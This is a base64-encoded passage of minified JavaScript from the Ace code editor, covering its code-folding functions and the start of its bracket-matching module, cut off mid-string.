Z2V0Rm9sZFN0cmluZ0F0PWZ1bmN0aW9uKGUsdCxuLHIpe3I9cnx8dGhpcy5nZXRGb2xkTGluZShlKTtpZighcilyZXR1cm4gbnVsbDt2YXIgaT17ZW5kOntjb2x1bW46MH19LHMsbztmb3IodmFyIHU9MDt1PHIuZm9sZHMubGVuZ3RoO3UrKyl7bz1yLmZvbGRzW3VdO3ZhciBhPW8ucmFuZ2UuY29tcGFyZUVuZChlLHQpO2lmKGE9PS0xKXtzPXRoaXMuZ2V0TGluZShvLnN0YXJ0LnJvdykuc3Vic3RyaW5nKGkuZW5kLmNvbHVtbixvLnN0YXJ0LmNvbHVtbik7YnJlYWt9aWYoYT09PTApcmV0dXJuIG51bGw7aT1vfXJldHVybiBzfHwocz10aGlzLmdldExpbmUoby5zdGFydC5yb3cpLnN1YnN0cmluZyhpLmVuZC5jb2x1bW4pKSxuPT0tMT9zLnN1YnN0cmluZygwLHQtaS5lbmQuY29sdW1uKTpuPT0xP3Muc3Vic3RyaW5nKHQtaS5lbmQuY29sdW1uKTpzfSx0aGlzLmdldEZvbGRMaW5lPWZ1bmN0aW9uKGUsdCl7dmFyIG49dGhpcy4kZm9sZERhdGEscj0wO3QmJihyPW4uaW5kZXhPZih0KSkscj09LTEmJihyPTApO2ZvcihyO3I8bi5sZW5ndGg7cisrKXt2YXIgaT1uW3JdO2lmKGkuc3RhcnQucm93PD1lJiZpLmVuZC5yb3c+PWUpcmV0dXJuIGk7aWYoaS5lbmQucm93PmUpcmV0dXJuIG51bGx9cmV0dXJuIG51bGx9LHRoaXMuZ2V0TmV4dEZvbGRMaW5lPWZ1bmN0aW9uKGUsdCl7dmFyIG49dGhpcy4kZm9sZERhdGEscj0wO3QmJihyPW4uaW5kZXhPZih0KSkscj09LTEmJihyPTApO2ZvcihyO3I8bi5sZW5ndGg7cisrKXt2YXIgaT1uW3JdO2lmKGkuZW5kLnJvdz49ZSlyZXR1cm4gaX1yZXR1cm4gbnVsbH0sdGhpcy5nZXRGb2xkZWRSb3dDb3VudD1mdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMuJGZvbGREYXRhLHI9dC1lKzE7Zm9yKHZhciBpPTA7aTxuLmxlbmd0aDtpKyspe3ZhciBzPW5baV0sbz1zLmVuZC5yb3csdT1zLnN0YXJ0LnJvdztpZihvPj10KXt1PHQmJih1Pj1lP3ItPXQtdTpyPTApO2JyZWFrfW8+PWUmJih1Pj1lP3ItPW8tdTpyLT1vLWUrMSl9cmV0dXJuIHJ9LHRoaXMuJGFkZEZvbGRMaW5lPWZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLiRmb2xkRGF0YS5wdXNoKGUpLHRoaXMuJGZvbGREYXRhLnNvcnQoZnVuY3Rpb24oZSx0KXtyZXR1cm4gZS5zdGFydC5yb3ctdC5zdGFydC5yb3d9KSxlfSx0aGlzLmFkZEZvbGQ9ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzLiRmb2xkRGF0YSxyPSExLG87ZSBpbnN0YW5jZW9mIHM/bz1lOihvPW5ldyBzKHQsZSksby5jb2xsYXBzZUNoaWxkcmVuPXQuY29sbGFwc2VDaGlsZHJlbiksdGhpcy4kY2xpcFJhbmdlVG9Eb2N1bWVudChvLnJhbmdlKTt2YXIgdT1vLnN0YXJ0LnJvdyxhPW8uc3RhcnQuY29sdW1uLGY9by5lbmQucm93LGw9by5lbmQuY29sdW1uLGM9dGhpcy5nZXRGb2xkQXQodSxhLDEpLGg9dGhpcy5nZXRGb2xkQXQoZixsLC0xKTtpZihjJiZoPT1jKXJldHVybiBjLmFkZFN1YkZvbGQobyk7YyYmIWMucmFuZ2UuaXNTdGFydCh1LGEpJiZ0aGlzLnJlbW92ZUZvbGQoYyksaCYmIWgucmFuZ2UuaXNFbmQoZixsKSYmdGhpcy5yZW1vdmVGb2xkKGgpO3ZhciBwPXRoaXMuZ2V0Rm9sZHNJblJhbmdlKG8ucmFuZ2UpO3AubGVuZ3RoPjAmJih0aGlzLnJlbW92ZUZvbGRzKHApLG8uY29sbGFwc2VDaGlsZHJlbnx8cC5mb3JFYWNoKGZ1bmN0aW9uKGUpe28uYWRkU3ViRm9sZChlKX0pKTtmb3IodmFyIGQ9MDtkPG4ubGVuZ3RoO2QrKyl7dmFyIHY9bltkXTtpZihmPT12LnN0YXJ0LnJvdyl7di5hZGRGb2xkKG8pLHI9ITA7YnJlYWt9aWYodT09di5lbmQucm93KXt2LmFkZEZvbGQobykscj0hMDtpZighby5zYW1lUm93KXt2YXIgbT1uW2QrMV07aWYobSYmbS5zdGFydC5yb3c9PWYpe3YubWVyZ2UobSk7YnJlYWt9fWJyZWFrfWlmKGY8PXYuc3RhcnQucm93KWJyZWFrfXJldHVybiByfHwodj10aGlzLiRhZGRGb2xkTGluZShuZXcgaSh0aGlzLiRmb2xkRGF0YSxvKSkpLHRoaXMuJHVzZVdyYXBNb2RlP3RoaXMuJHVwZGF0ZVdyYXBEYXRhKHYuc3RhcnQucm93LHYuc3RhcnQucm93KTp0aGlzLiR1cGRhdGVSb3dMZW5ndGhDYWNoZSh2LnN0YXJ0LnJvdyx2LnN0YXJ0LnJvdyksdGhpcy4kbW9kaWZpZWQ9ITAsdGhpcy5fc2lnbmFsKCJjaGFuZ2VGb2xkIix7ZGF0YTpvLGFjdGlvbjoiYWRkIn0pLG99LHRoaXMuYWRkRm9sZHM9ZnVuY3Rpb24oZSl7ZS5mb3JFYWNoKGZ1bmN0aW9uKGUpe3RoaXMuYWRkRm9sZChlKX0sdGhpcyl9LHRoaXMucmVtb3ZlRm9sZD1mdW5jdGlvbihlKXt2YXIgdD1lLmZvbGRMaW5lLG49dC5zdGFydC5yb3cscj10LmVuZC5yb3csaT10aGlzLiRmb2xkRGF0YSxzPXQuZm9sZHM7aWYocy5sZW5ndGg9PTEpaS5zcGxpY2UoaS5pbmRleE9mKHQpLDEpO2Vsc2UgaWYodC5yYW5nZS5pc0VuZChlLmVuZC5yb3csZS5lbmQuY29sdW1uKSlzLnBvcCgpLHQuZW5kLnJvdz1zW3MubGVuZ3RoLTFdLmVuZC5yb3csdC5lbmQuY29sdW1uPXNbcy5sZW5ndGgtMV0uZW5kLmNvbHVtbjtlbHNlIGlmKHQucmFuZ2UuaXNTdGFydChlLnN0YXJ0LnJvdyxlLnN0YXJ0LmNvbHVtbikpcy5zaGlmdCgpLHQuc3RhcnQucm93PXNbMF0uc3RhcnQucm93LHQuc3RhcnQuY29sdW1uPXNbMF0uc3RhcnQuY29sdW1uO2Vsc2UgaWYoZS5zYW1lUm93KXMuc3BsaWNlKHMuaW5kZXhPZihlKSwxKTtlbHNle3ZhciBvPXQuc3BsaXQoZS5zdGFydC5yb3csZS5zdGFydC5jb2x1bW4pO3M9by5mb2xkcyxzLnNoaWZ0KCksby5zdGFydC5yb3c9c1swXS5zdGFydC5yb3csby5zdGFydC5jb2x1bW49c1swXS5zdGFydC5jb2x1bW59dGhpcy4kdXBkYXRpbmd8fCh0aGlzLiR1c2VXcmFwTW9kZT90aGlzLiR1cGRhdGVXcmFwRGF0YShuLHIpOnRoaXMuJHVwZGF0ZVJvd0xlbmd0aENhY2hlKG4scikpLHRoaXMuJG1vZGlmaWVkPSEwLHRoaXMuX3NpZ25hbCgiY2hhbmdlRm9sZCIse2RhdGE6ZSxhY3Rpb246InJlbW92ZSJ9KX0sdGhpcy5yZW1vdmVGb2xkcz1mdW5jdGlvbihlKXt2YXIgdD1bXTtmb3IodmFyIG49MDtuPGUubGVuZ3RoO24rKyl0LnB1c2goZVtuXSk7dC5mb3JFYWNoKGZ1bmN0aW9uKGUpe3RoaXMucmVtb3ZlRm9sZChlKX0sdGhpcyksdGhpcy4kbW9kaWZpZWQ9ITB9LHRoaXMuZXhwYW5kRm9sZD1mdW5jdGlvbihlKXt0aGlzLnJlbW92ZUZvbGQoZSksZS5zdWJGb2xkcy5mb3JFYWNoKGZ1bmN0aW9uKHQpe2UucmVzdG9yZVJhbmdlKHQpLHRoaXMuYWRkRm9sZCh0KX0sdGhpcyksZS5jb2xsYXBzZUNoaWxkcmVuPjAmJnRoaXMuZm9sZEFsbChlLnN0YXJ0LnJvdysxLGUuZW5kLnJvdyxlLmNvbGxhcHNlQ2hpbGRyZW4tMSksZS5zdWJGb2xkcz1bXX0sdGhpcy5leHBhbmRGb2xkcz1mdW5jdGlvbihlKXtlLmZvckVhY2goZnVuY3Rpb24oZSl7dGhpcy5leHBhbmRGb2xkKGUpfSx0aGlzKX0sdGhpcy51bmZvbGQ9ZnVuY3Rpb24oZSx0KXt2YXIgbixpO2lmKGU9PW51bGwpbj1uZXcgcigwLDAsdGhpcy5nZXRMZW5ndGgoKSwwKSx0PT1udWxsJiYodD0hMCk7ZWxzZSBpZih0eXBlb2YgZT09Im51bWJlciIpbj1uZXcgcihlLDAsZSx0aGlzLmdldExpbmUoZSkubGVuZ3RoKTtlbHNlIGlmKCJyb3ciaW4gZSluPXIuZnJvbVBvaW50cyhlLGUpO2Vsc2V7aWYoQXJyYXkuaXNBcnJheShlKSlyZXR1cm4gaT1bXSxlLmZvckVhY2goZnVuY3Rpb24oZSl7aT1pLmNvbmNhdCh0aGlzLnVuZm9sZChlKSl9LHRoaXMpLGk7bj1lfWk9dGhpcy5nZXRGb2xkc0luUmFuZ2VMaXN0KG4pO3ZhciBzPWk7d2hpbGUoaS5sZW5ndGg9PTEmJnIuY29tcGFyZVBvaW50cyhpWzBdLnN0YXJ0LG4uc3RhcnQpPDAmJnIuY29tcGFyZVBvaW50cyhpWzBdLmVuZCxuLmVuZCk+MCl0aGlzLmV4cGFuZEZvbGRzKGkpLGk9dGhpcy5nZXRGb2xkc0luUmFuZ2VMaXN0KG4pO3QhPTA/dGhpcy5yZW1vdmVGb2xkcyhpKTp0aGlzLmV4cGFuZEZvbGRzKGkpO2lmKHMubGVuZ3RoKXJldHVybiBzfSx0aGlzLmlzUm93Rm9sZGVkPWZ1bmN0aW9uKGUsdCl7cmV0dXJuISF0aGlzLmdldEZvbGRMaW5lKGUsdCl9LHRoaXMuZ2V0Um93Rm9sZEVuZD1mdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMuZ2V0Rm9sZExpbmUoZSx0KTtyZXR1cm4gbj9uLmVuZC5yb3c6ZX0sdGhpcy5nZXRSb3dGb2xkU3RhcnQ9ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzLmdldEZvbGRMaW5lKGUsdCk7cmV0dXJuIG4/bi5zdGFydC5yb3c6ZX0sdGhpcy5nZXRGb2xkRGlzcGxheUxpbmU9ZnVuY3Rpb24oZSx0LG4scixpKXtyPT1udWxsJiYocj1lLnN0YXJ0LnJvdyksaT09bnVsbCYmKGk9MCksdD09bnVsbCYmKHQ9ZS5lbmQucm93KSxuPT1udWxsJiYobj10aGlzLmdldExpbmUodCkubGVuZ3RoKTt2YXIgcz10aGlzLmRvYyxvPSIiO3JldHVybiBlLndhbGsoZnVuY3Rpb24oZSx0LG4sdSl7aWYodDxyKXJldHVybjtpZih0PT1yKXtpZihuPGkpcmV0dXJuO3U9TWF0aC5tYXgoaSx1KX1lIT1udWxsP28rPWU6bys9cy5nZXRMaW5lKHQpLnN1YnN0cmluZyh1LG4pfSx0LG4pLG99LHRoaXMuZ2V0RGlzcGxheUxpbmU9ZnVuY3Rpb24oZSx0LG4scil7dmFyIGk9dGhpcy5nZXRGb2xkTGluZShlKTtpZighaSl7dmFyIHM7cmV0dXJuIHM9dGhpcy5kb2MuZ2V0TGluZShlKSxzLnN1YnN0cmluZyhyfHwwLHR8fHMubGVuZ3RoKX1yZXR1cm4gdGhpcy5nZXRGb2xkRGlzcGxheUxpbmUoaSxlLHQsbixyKX0sdGhpcy4kY2xvbmVGb2xkRGF0YT1mdW5jdGlvbigpe3ZhciBlPVtdO3JldHVybiBlPXRoaXMuJGZvbGREYXRhLm1hcChmdW5jdGlvbih0KXt2YXIgbj10LmZvbGRzLm1hcChmdW5jdGlvbihlKXtyZXR1cm4gZS5jbG9uZSgpfSk7cmV0dXJuIG5ldyBpKGUsbil9KSxlfSx0aGlzLnRvZ2dsZUZvbGQ9ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5zZWxlY3Rpb24sbj10LmdldFJhbmdlKCkscixpO2lmKG4uaXNFbXB0eSgpKXt2YXIgcz1uLnN0YXJ0O3I9dGhpcy5nZXRGb2xkQXQocy5yb3cscy5jb2x1bW4pO2lmKHIpe3RoaXMuZXhwYW5kRm9sZChyKTtyZXR1cm59KGk9dGhpcy5maW5kTWF0Y2hpbmdCcmFja2V0KHMpKT9uLmNvbXBhcmVQb2ludChpKT09MT9uLmVuZD1pOihuLnN0YXJ0PWksbi5zdGFydC5jb2x1bW4rKyxuLmVuZC5jb2x1bW4tLSk6KGk9dGhpcy5maW5kTWF0Y2hpbmdCcmFja2V0KHtyb3c6cy5yb3csY29sdW1uOnMuY29sdW1uKzF9KSk/KG4uY29tcGFyZVBvaW50KGkpPT0xP24uZW5kPWk6bi5zdGFydD1pLG4uc3RhcnQuY29sdW1uKyspOm49dGhpcy5nZXRDb21tZW50Rm9sZFJhbmdlKHMucm93LHMuY29sdW1uKXx8bn1lbHNle3ZhciBvPXRoaXMuZ2V0Rm9sZHNJblJhbmdlKG4pO2lmKGUmJm8ubGVuZ3RoKXt0aGlzLmV4cGFuZEZvbGRzKG8pO3JldHVybn1vLmxlbmd0aD09MSYmKHI9b1swXSl9cnx8KHI9dGhpcy5nZXRGb2xkQXQobi5zdGFydC5yb3csbi5zdGFydC5jb2x1bW4pKTtpZihyJiZyLnJhbmdlLnRvU3RyaW5nKCk9PW4udG9TdHJpbmcoKSl7dGhpcy5leHBhbmRGb2xkKHIpO3JldHVybn12YXIgdT0iLi4uIjtpZighbi5pc011bHRpTGluZSgpKXt1PXRoaXMuZ2V0VGV4dFJhbmdlKG4pO2lmKHUubGVuZ3RoPDQpcmV0dXJuO3U9dS50cmltKCkuc3Vic3RyaW5nKDAsMikrIi4uIn10aGlzLmFkZEZvbGQodSxuKX0sdGhpcy5nZXRDb21tZW50Rm9sZFJhbmdlPWZ1bmN0aW9uKGUsdCxuKXt2YXIgaT1uZXcgbyh0aGlzLGUsdCkscz1pLmdldEN1cnJlbnRUb2tlbigpLHU9cyYmcy50eXBlO2lmKHMmJi9eY29tbWVudHxzdHJpbmcvLnRlc3QodSkpe3U9dS5tYXRjaCgvY29tbWVudHxzdHJpbmcvKVswXSx1PT0iY29tbWVudCImJih1Kz0ifGRvYy1zdGFydCIpO3ZhciBhPW5ldyBSZWdFeHAodSksZj1uZXcgcjtpZihuIT0xKXtkbyBzPWkuc3RlcEJhY2t3YXJkKCk7d2hpbGUocyYmYS50ZXN0KHMudHlwZSkmJiEvXmNvbW1lbnQuZW5kLy50ZXN0KHMudHlwZSkpO3M9aS5zdGVwRm9yd2FyZCgpfWYuc3RhcnQucm93PWkuZ2V0Q3VycmVudFRva2VuUm93KCksZi5zdGFydC5jb2x1bW49aS5nZXRDdXJyZW50VG9rZW5Db2x1bW4oKSsoL15jb21tZW50LnN0YXJ0Ly50ZXN0KHMudHlwZSk/cy52YWx1ZS5sZW5ndGg6MiksaT1uZXcgbyh0aGlzLGUsdCk7aWYobiE9LTEpe3ZhciBsPS0xO2Rve3M9aS5zdGVwRm9yd2FyZCgpO2lmKGw9PS0xKXt2YXIgYz10aGlzLmdldFN0YXRlKGkuJHJvdyk7YS50ZXN0KGMpfHwobD1pLiRyb3cpfWVsc2UgaWYoaS4kcm93PmwpYnJlYWt9d2hpbGUocyYmYS50ZXN0KHMudHlwZSkmJiEvXmNvbW1lbnQuc3RhcnQvLnRlc3Qocy50eXBlKSk7cz1pLnN0ZXBCYWNrd2FyZCgpfWVsc2Ugcz1pLmdldEN1cnJlbnRUb2tlbigpO3JldHVybiBmLmVuZC5yb3c9aS5nZXRDdXJyZW50VG9rZW5Sb3coKSxmLmVuZC5jb2x1bW49aS5nZXRDdXJyZW50VG9rZW5Db2x1bW4oKSwvXmNvbW1lbnQuZW5kLy50ZXN0KHMudHlwZSl8fChmLmVuZC5jb2x1bW4rPXMudmFsdWUubGVuZ3RoLTIpLGZ9fSx0aGlzLmZvbGRBbGw9ZnVuY3Rpb24oZSx0LG4scil7bj09dW5kZWZpbmVkJiYobj0xZTUpO3ZhciBpPXRoaXMuZm9sZFdpZGdldHM7aWYoIWkpcmV0dXJuO3Q9dHx8dGhpcy5nZXRMZW5ndGgoKSxlPWV8fDA7Zm9yKHZhciBzPWU7czx0O3MrKyl7aVtzXT09bnVsbCYmKGlbc109dGhpcy5nZXRGb2xkV2lkZ2V0KHMpKTtpZihpW3NdIT0ic3RhcnQiKWNvbnRpbnVlO2lmKHImJiFyKHMpKWNvbnRpbnVlO3ZhciBvPXRoaXMuZ2V0Rm9sZFdpZGdldFJhbmdlKHMpO28mJm8uaXNNdWx0aUxpbmUoKSYmby5lbmQucm93PD10JiZvLnN0YXJ0LnJvdz49ZSYmKHM9by5lbmQucm93LG8uY29sbGFwc2VDaGlsZHJlbj1uLHRoaXMuYWRkRm9sZCgiLi4uIixvKSl9fSx0aGlzLmZvbGRUb0xldmVsPWZ1bmN0aW9uKGUpe3RoaXMuZm9sZEFsbCgpO3doaWxlKGUtLT4wKXRoaXMudW5mb2xkKG51bGwsITEpfSx0aGlzLmZvbGRBbGxDb21tZW50cz1mdW5jdGlvbigpe3ZhciBlPXRoaXM7dGhpcy5mb2xkQWxsKG51bGwsbnVsbCxudWxsLGZ1bmN0aW9uKHQpe3ZhciBuPWUuZ2V0VG9rZW5zKHQpO2Zvcih2YXIgcj0wO3I8bi5sZW5ndGg7cisrKXt2YXIgaT1uW3JdO2lmKGkudHlwZT09InRleHQiJiYvXlxzKyQvLnRlc3QoaS52YWx1ZSkpY29udGludWU7cmV0dXJuL2NvbW1lbnQvLnRlc3QoaS50eXBlKT8hMDohMX19KX0sdGhpcy4kZm9sZFN0eWxlcz17bWFudWFsOjEsbWFya2JlZ2luOjEsbWFya2JlZ2luZW5kOjF9LHRoaXMuJGZvbGRTdHlsZT0ibWFya2JlZ2luIix0aGlzLnNldEZvbGRTdHlsZT1mdW5jdGlvbihlKXtpZighdGhpcy4kZm9sZFN0eWxlc1tlXSl0aHJvdyBuZXcgRXJyb3IoImludmFsaWQgZm9sZCBzdHlsZTogIitlKyJbIitPYmplY3Qua2V5cyh0aGlzLiRmb2xkU3R5bGVzKS5qb2luKCIsICIpKyJdIik7aWYodGhpcy4kZm9sZFN0eWxlPT1lKXJldHVybjt0aGlzLiRmb2xkU3R5bGU9ZSxlPT0ibWFudWFsIiYmdGhpcy51bmZvbGQoKTt2YXIgdD10aGlzLiRmb2xkTW9kZTt0aGlzLiRzZXRGb2xkaW5nKG51bGwpLHRoaXMuJHNldEZvbGRpbmcodCl9LHRoaXMuJHNldEZvbGRpbmc9ZnVuY3Rpb24oZSl7aWYodGhpcy4kZm9sZE1vZGU9PWUpcmV0dXJuO3RoaXMuJGZvbGRNb2RlPWUsdGhpcy5vZmYoImNoYW5nZSIsdGhpcy4kdXBkYXRlRm9sZFdpZGdldHMpLHRoaXMub2ZmKCJ0b2tlbml6ZXJVcGRhdGUiLHRoaXMuJHRva2VuaXplclVwZGF0ZUZvbGRXaWRnZXRzKSx0aGlzLl9zaWduYWwoImNoYW5nZUFubm90YXRpb24iKTtpZighZXx8dGhpcy4kZm9sZFN0eWxlPT0ibWFudWFsIil7dGhpcy5mb2xkV2lkZ2V0cz1udWxsO3JldHVybn10aGlzLmZvbGRXaWRnZXRzPVtdLHRoaXMuZ2V0Rm9sZFdpZGdldD1lLmdldEZvbGRXaWRnZXQuYmluZChlLHRoaXMsdGhpcy4kZm9sZFN0eWxlKSx0aGlzLmdldEZvbGRXaWRnZXRSYW5nZT1lLmdldEZvbGRXaWRnZXRSYW5nZS5iaW5kKGUsdGhpcyx0aGlzLiRmb2xkU3R5bGUpLHRoaXMuJHVwZGF0ZUZvbGRXaWRnZXRzPXRoaXMudXBkYXRlRm9sZFdpZGdldHMuYmluZCh0aGlzKSx0aGlzLiR0b2tlbml6ZXJVcGRhdGVGb2xkV2lkZ2V0cz10aGlzLnRva2VuaXplclVwZGF0ZUZvbGRXaWRnZXRzLmJpbmQodGhpcyksdGhpcy5vbigiY2hhbmdlIix0aGlzLiR1cGRhdGVGb2xkV2lkZ2V0cyksdGhpcy5vbigidG9rZW5pemVyVXBkYXRlIix0aGlzLiR0b2tlbml6ZXJVcGRhdGVGb2xkV2lkZ2V0cyl9LHRoaXMuZ2V0UGFyZW50Rm9sZFJhbmdlRGF0YT1mdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMuZm9sZFdpZGdldHM7aWYoIW58fHQmJm5bZV0pcmV0dXJue307dmFyIHI9ZS0xLGk7d2hpbGUocj49MCl7dmFyIHM9bltyXTtzPT1udWxsJiYocz1uW3JdPXRoaXMuZ2V0Rm9sZFdpZGdldChyKSk7aWYocz09InN0YXJ0Iil7dmFyIG89dGhpcy5nZXRGb2xkV2lkZ2V0UmFuZ2Uocik7aXx8KGk9byk7aWYobyYmby5lbmQucm93Pj1lKWJyZWFrfXItLX1yZXR1cm57cmFuZ2U6ciE9PS0xJiZvLGZpcnN0UmFuZ2U6aX19LHRoaXMub25Gb2xkV2lkZ2V0Q2xpY2s9ZnVuY3Rpb24oZSx0KXt0PXQuZG9tRXZlbnQ7dmFyIG49e2NoaWxkcmVuOnQuc2hpZnRLZXksYWxsOnQuY3RybEtleXx8dC5tZXRhS2V5LHNpYmxpbmdzOnQuYWx0S2V5fSxyPXRoaXMuJHRvZ2dsZUZvbGRXaWRnZXQoZSxuKTtpZighcil7dmFyIGk9dC50YXJnZXR8fHQuc3JjRWxlbWVudDtpJiYvYWNlX2ZvbGQtd2lkZ2V0Ly50ZXN0KGkuY2xhc3NOYW1lKSYmKGkuY2xhc3NOYW1lKz0iIGFjZV9pbnZhbGlkIil9fSx0aGlzLiR0b2dnbGVGb2xkV2lkZ2V0PWZ1bmN0aW9uKGUsdCl7aWYoIXRoaXMuZ2V0Rm9sZFdpZGdldClyZXR1cm47dmFyIG49dGhpcy5nZXRGb2xkV2lkZ2V0KGUpLHI9dGhpcy5nZXRMaW5lKGUpLGk9bj09PSJlbmQiPy0xOjEscz10aGlzLmdldEZvbGRBdChlLGk9PT0tMT8wOnIubGVuZ3RoLGkpO2lmKHMpcmV0dXJuIHQuY2hpbGRyZW58fHQuYWxsP3RoaXMucmVtb3ZlRm9sZChzKTp0aGlzLmV4cGFuZEZvbGQocyksczt2YXIgbz10aGlzLmdldEZvbGRXaWRnZXRSYW5nZShlLCEwKTtpZihvJiYhby5pc011bHRpTGluZSgpKXtzPXRoaXMuZ2V0Rm9sZEF0KG8uc3RhcnQucm93LG8uc3RhcnQuY29sdW1uLDEpO2lmKHMmJm8uaXNFcXVhbChzLnJhbmdlKSlyZXR1cm4gdGhpcy5yZW1vdmVGb2xkKHMpLHN9aWYodC5zaWJsaW5ncyl7dmFyIHU9dGhpcy5nZXRQYXJlbnRGb2xkUmFuZ2VEYXRhKGUpO2lmKHUucmFuZ2UpdmFyIGE9dS5yYW5nZS5zdGFydC5yb3crMSxmPXUucmFuZ2UuZW5kLnJvdzt0aGlzLmZvbGRBbGwoYSxmLHQuYWxsPzFlNDowKX1lbHNlIHQuY2hpbGRyZW4/KGY9bz9vLmVuZC5yb3c6dGhpcy5nZXRMZW5ndGgoKSx0aGlzLmZvbGRBbGwoZSsxLGYsdC5hbGw/MWU0OjApKTpvJiYodC5hbGwmJihvLmNvbGxhcHNlQ2hpbGRyZW49MWU0KSx0aGlzLmFkZEZvbGQoIi4uLiIsbykpO3JldHVybiBvfSx0aGlzLnRvZ2dsZUZvbGRXaWRnZXQ9ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5zZWxlY3Rpb24uZ2V0Q3Vyc29yKCkucm93O3Q9dGhpcy5nZXRSb3dGb2xkU3RhcnQodCk7dmFyIG49dGhpcy4kdG9nZ2xlRm9sZFdpZGdldCh0LHt9KTtpZihuKXJldHVybjt2YXIgcj10aGlzLmdldFBhcmVudEZvbGRSYW5nZURhdGEodCwhMCk7bj1yLnJhbmdlfHxyLmZpcnN0UmFuZ2U7aWYobil7dD1uLnN0YXJ0LnJvdzt2YXIgaT10aGlzLmdldEZvbGRBdCh0LHRoaXMuZ2V0TGluZSh0KS5sZW5ndGgsMSk7aT90aGlzLnJlbW92ZUZvbGQoaSk6dGhpcy5hZGRGb2xkKCIuLi4iLG4pfX0sdGhpcy51cGRhdGVGb2xkV2lkZ2V0cz1mdW5jdGlvbihlKXt2YXIgdD1lLnN0YXJ0LnJvdyxuPWUuZW5kLnJvdy10O2lmKG49PT0wKXRoaXMuZm9sZFdpZGdldHNbdF09bnVsbDtlbHNlIGlmKGUuYWN0aW9uPT0icmVtb3ZlIil0aGlzLmZvbGRXaWRnZXRzLnNwbGljZSh0LG4rMSxudWxsKTtlbHNle3ZhciByPUFycmF5KG4rMSk7ci51bnNoaWZ0KHQsMSksdGhpcy5mb2xkV2lkZ2V0cy5zcGxpY2UuYXBwbHkodGhpcy5mb2xkV2lkZ2V0cyxyKX19LHRoaXMudG9rZW5pemVyVXBkYXRlRm9sZFdpZGdldHM9ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5kYXRhO3QuZmlyc3QhPXQubGFzdCYmdGhpcy5mb2xkV2lkZ2V0cy5sZW5ndGg+dC5maXJzdCYmdGhpcy5mb2xkV2lkZ2V0cy5zcGxpY2UodC5maXJzdCx0aGlzLmZvbGRXaWRnZXRzLmxlbmd0aCl9fXZhciByPWUoIi4uL3JhbmdlIikuUmFuZ2UsaT1lKCIuL2ZvbGRfbGluZSIpLkZvbGRMaW5lLHM9ZSgiLi9mb2xkIikuRm9sZCxvPWUoIi4uL3Rva2VuX2l0ZXJhdG9yIikuVG9rZW5JdGVyYXRvcjt0LkZvbGRpbmc9dX0pLGRlZmluZSgiYWNlL2VkaXRfc2Vzc2lvbi9icmFja2V0X21hdGNoIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL3Rva2VuX2l0ZXJhdG9yIiwiYWNlL3JhbmdlIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBzKCl7dGhpcy5maW5kTWF0Y2hpbmdCcmFja2V0PWZ1bmN0aW9uKGUsdCl7aWYoZS5jb2x1bW49PTApcmV0dXJuIG51bGw7dmFyIG49dHx8dGhpcy5nZXRMaW5lKGUucm93KS5jaGFyQXQoZS5jb2x1bW4tMSk7aWYobj09IiIpcmV0dXJuIG51bGw7dmFyIHI9bi5tYXRjaCgvKFtcKFxbXHtdKXwoW1wpXF1cfV0pLyk7cmV0dXJuIHI/clsxXT90aGlzLiRmaW5kQ2xvc2luZ0JyYWNrZXQoclsxXSxlKTp0aGlzLiRmaW5kT3BlbmluZ0JyYWNrZXQoclsyXSxlKTpudWxsfSx0aGlzLmdldEJyYWNrZXRSYW5nZT1mdW5jdGlvbihlKXt2YXIgdD10aGlzLmdldExpbmUoZS5yb3cpLG49ITAscixzPXQuY2hhckF0KGUuY29sdW1uLTEpLG89cyYmcy5tYXRjaCgvKFtcKFxbXHtdKXwoW1wpXF1cfV0pLyk7b3x8KHM9dC5jaGFyQXQoZS5jb2x1bW4pLGU9e3JvdzplLnJvdyxjb2x1bW46ZS5jb2x1bW4rMX0sbz1zJiZzLm1hdGNoKC8oW1woXFtce10pfChbXClcXVx9XSkvKSxuPSExKTtpZighbylyZXR1cm4gbnVsbDtpZihvWzFdKXt2YXIgdT10aGlzLiRmaW5kQ2xvc2luZ0JyYWNrZXQob1sxXSxlKTtpZighdSlyZXR1cm4gbnVsbDtyPWkuZnJvbVBvaW50cyhlLHUpLG58fChyLmVuZC5jb2x1bW4rKyxyLnN0YXJ0LmNvbHVtbi0tKSxyLmN1cnNvcj1yLmVuZH1lbHNle3ZhciB1PXRoaXMuJGZpbmRPcGVuaW5nQnJhY2tldChvWzJdLGUpO2lmKCF1KXJldHVybiBudWxsO3I9aS5mcm9tUG9pbnRzKHUsZSksbnx8KHIuc3RhcnQuY29sdW1uKyssci5lbmQuY29sdW1uLS0pLHIuY3Vyc29yPXIuc3RhcnR9cmV0dXJuIHJ9LHRoaXMuZ2V0TWF0Y2hpbmdCcmFja2V0UmFuZ2VzPWZ1bmN0aW9uKGUsdCl7dmFyIG49dGhpcy5nZXRMaW5lKGUucm93KSxyPS8oW1woXFtce10pfChbXClcXVx9XSkvLHM9IXQmJm4uY2hhckF0KGUuY29sdW1uLTEpLG89cyYmcy5tYXRjaChyKTtvfHwocz0odD09PXVuZGVmaW5lZHx8dCkmJm4uY2hhckF0KGUuY29sdW1uKSxlPXtyb3c6ZS5yb3csY29sdW1uOmUuY29sdW1uKzF9LG89cyYmcy5tYXRjaChyKSk7aWYoIW8pcmV0dXJuIG51bGw7dmFyIHU9bmV3IGkoZS5yb3csZS5jb2x1bW4tMSxlLnJvdyxlLmNvbHVtbiksYT1vWzFdP3RoaXMuJGZpbmRDbG9zaW5nQnJhY2tldChvWzFdLGUpOnRoaXMuJGZpbmRPcGVuaW5nQnJhY2tldChvWzJdLGUpO2lmKCFhKXJldHVyblt1XTt2YXIgZj1uZXcgaShhLnJvdyxhLmNvbHVtbixhLnJvdyxhLmNvbHVtbisxKTtyZXR1cm5bdSxmXX0sdGhpcy4kYnJhY2tldHM9eyIpIjoiKCIsIigiOiIpIiwiXSI6IlsiLCJbIjoiXSIsInsiOiJ9IiwifSI6InsiLCI8IjoiPiIsIj4iOiI8In0sdGhpcy4kZmluZE9wZW5pbmdCcmFja2V0PWZ1bmN0aW9uKGUsdCxuKXt2YXIgaT1